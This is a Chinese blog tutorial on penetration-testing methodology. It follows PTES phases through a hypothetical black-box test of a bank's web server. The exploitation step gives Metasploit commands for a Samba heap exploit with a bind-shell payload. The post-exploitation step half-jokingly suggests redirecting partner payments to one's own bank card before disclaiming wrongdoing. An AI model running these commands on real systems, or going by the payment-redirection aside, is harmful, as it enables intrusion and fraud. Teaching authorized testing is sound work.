Metasploit滲透測(cè)試之旅
什么是滲透測(cè)試
滲透測(cè)試沒有一個(gè)標(biāo)準(zhǔn)的定義, 在安全界普遍的說法是: 滲透測(cè)試是一種通過模擬攻擊者的技術(shù)與方法, 挫敗目標(biāo)系統(tǒng)的安全機(jī)制并取得訪問控制權(quán)限的安全測(cè)試方法.
成功的滲透一個(gè)系統(tǒng)可以獲取系統(tǒng)的完全控制權(quán), 所以滲透技術(shù)可謂一招致命.
如何滲透一個(gè)系統(tǒng)
既然滲透測(cè)試的威力這么強(qiáng)大, 那如何滲透一個(gè)系統(tǒng)呢?
首先, 我們需要了解一些滲透測(cè)試的基礎(chǔ):
PTES(Penetration Testing Execution Strandard), 即滲透測(cè)試標(biāo)準(zhǔn); PTES將滲透測(cè)試劃分為七個(gè)階段:
1. 前期交互階段: 與客戶討論并確定滲透測(cè)試的范圍和目標(biāo)
2. 情報(bào)搜集階段: 采取各種手段搜集被攻擊者的有用信息.
3. 威脅分析階段: 通過搜集的情報(bào)信息, 標(biāo)識(shí)目標(biāo)系統(tǒng)可能存在的安全隱患.
4. 漏洞分析階段: 分析漏洞的可行性以及最可行的攻擊方法.
5. 滲透攻擊階段: 對(duì)目標(biāo)進(jìn)行滲透.
6. 后滲透攻擊階段: 根據(jù)目標(biāo)的不同, 靈活的應(yīng)用不同技術(shù). 讓目標(biāo)系統(tǒng)發(fā)揮更大的價(jià)值.
7. 報(bào)告階段: 撰寫滲透報(bào)告
從上面我們可以看出真正使用滲透測(cè)試技術(shù)的只占一小部分, 所以一個(gè)好的滲透測(cè)試工作者, 不僅需要過硬的滲透技術(shù), 而且更重要的是從多方面挖掘出被攻擊者的價(jià)值信息.
滲透測(cè)試的分類:
白盒測(cè)試: 熟悉系統(tǒng)的架構(gòu)和網(wǎng)絡(luò)環(huán)境, 并可以獲取內(nèi)部的訪問權(quán).
黑盒測(cè)試: 對(duì)系統(tǒng)的架構(gòu)和網(wǎng)絡(luò)環(huán)境一無所知, 只知道被攻擊的目標(biāo).
其次, 我們需要很多輔助工具. 這里我們使用最強(qiáng)大, 最流行和最具有發(fā)展前景的開源測(cè)試平臺(tái)--Metasploit. 更多關(guān)于Metasploit介紹, 參見Wiki.
下面我們將使用Metasploit結(jié)合PTES來完成我們的Metasploit滲透測(cè)試之旅.
Step 1: 前期交互階段
比如我現(xiàn)在開了一個(gè)S安全公司, 現(xiàn)在中國銀行請(qǐng)我們公司給它們的系統(tǒng)進(jìn)行安全測(cè)試. 這里僅討論滲透測(cè)試.
銀行和公司 前期交互結(jié)果:
銀行不提供內(nèi)部信息, S進(jìn)行黑盒測(cè)試.
規(guī)定某年某月某日可以進(jìn)行測(cè)試, 其他時(shí)間不可以, 并且不可以影響銀行的正常業(yè)務(wù).
規(guī)定測(cè)試范圍為銀行的Web服務(wù)主機(jī).
Step2: 情報(bào)搜集階段
S公司開始對(duì)銀行系統(tǒng)的主機(jī)進(jìn)行情報(bào)搜集. 情報(bào)搜集的技術(shù)有很多種, 包括社交媒體, Google Hacking, 系統(tǒng)踩點(diǎn).
常用的情報(bào)搜集手段:
Whois查詢
Netcraft
NSLookuup
Nmap端口掃描
漏洞掃描
社會(huì)工程學(xué)
搜集結(jié)果:
銀行員工微博: 連續(xù)工作了8個(gè)小時(shí), 終于完成Apache Tomcat的升級(jí). --> 由此我們推出銀行系統(tǒng)的Web服務(wù)器使用Apache Tomcat. 有次我們可以確認(rèn)該銀行Web服務(wù)器使用J2EE架構(gòu).
Nefcraft.com --> 獲取系統(tǒng)運(yùn)行的狀況. 系統(tǒng)類型(CentOS), IP地址 DNS解析等.
Nmap --> 探測(cè)系統(tǒng)防御系統(tǒng), 端口過濾等網(wǎng)絡(luò)配置.
Step3: 威脅建模階段
通過前面的搜集工作, 找到以下的安全隱患;
CentOS系統(tǒng)版本比較老, 已存在發(fā)現(xiàn)的漏洞
防火墻配置不當(dāng).
技術(shù)安全人員缺乏某些安全意識(shí).
Step4: 漏洞分析階段
我們發(fā)現(xiàn)目標(biāo)系統(tǒng)開啟了samba服務(wù),并且可以由外部訪問. 我們認(rèn)為通過CentOS進(jìn)行攻擊可以快速并且獲取最大的控制權(quán)限.
Step5: 滲透攻擊階段
這里就該Metasploit出手了. 打開Metasploit的MSF終端.
Search samba use exploit/linux/samba/lsa_trasnames_heap show payloads set payload linux/x86/shell_bind_tcp set LPORT 8080 set RHOST x.x.x.x exploit
這里假設(shè)此系統(tǒng)存在此漏洞, 可以成功滲透目標(biāo).
Step6: 后滲透攻擊階段
我們獲取了銀行的Web系統(tǒng)的控制權(quán). 后滲透階段就是充分發(fā)揮被攻擊的有用價(jià)值.
我們發(fā)現(xiàn)一份銀行和其合作伙伴的一份聲明, 讓你合作伙伴將款打入某個(gè)銀行卡, 你有膽的話就可以將這個(gè)銀行卡改成你的了.
再比如發(fā)現(xiàn)銀行的工資單. 以及某些貪官的存款等等..
這就是一個(gè)金山, 就看你能挖掘出多少了, 適可而止
Step7: 報(bào)告階段
當(dāng)然我是一個(gè)公司, 我收取了人家銀行的錢為人家工作. 所以咱還是別干任何壞事. 所以我就需要將我們的成功整理成文檔, 提供給銀行并協(xié)助 銀行修補(bǔ)這些問題. 一面看了這篇文章的人一時(shí)糊涂犯下大錯(cuò).
本文側(cè)重滲透測(cè)試的一個(gè)規(guī)范化過程, 并不是著重講Metasploit, 有關(guān)Metasploit的使用. 我會(huì)抽時(shí)間寫一篇關(guān)于Metasploit的使用教程. 如果你希望在滲透測(cè)試方面有所建樹, 那你就要付出比別人跟多的努力.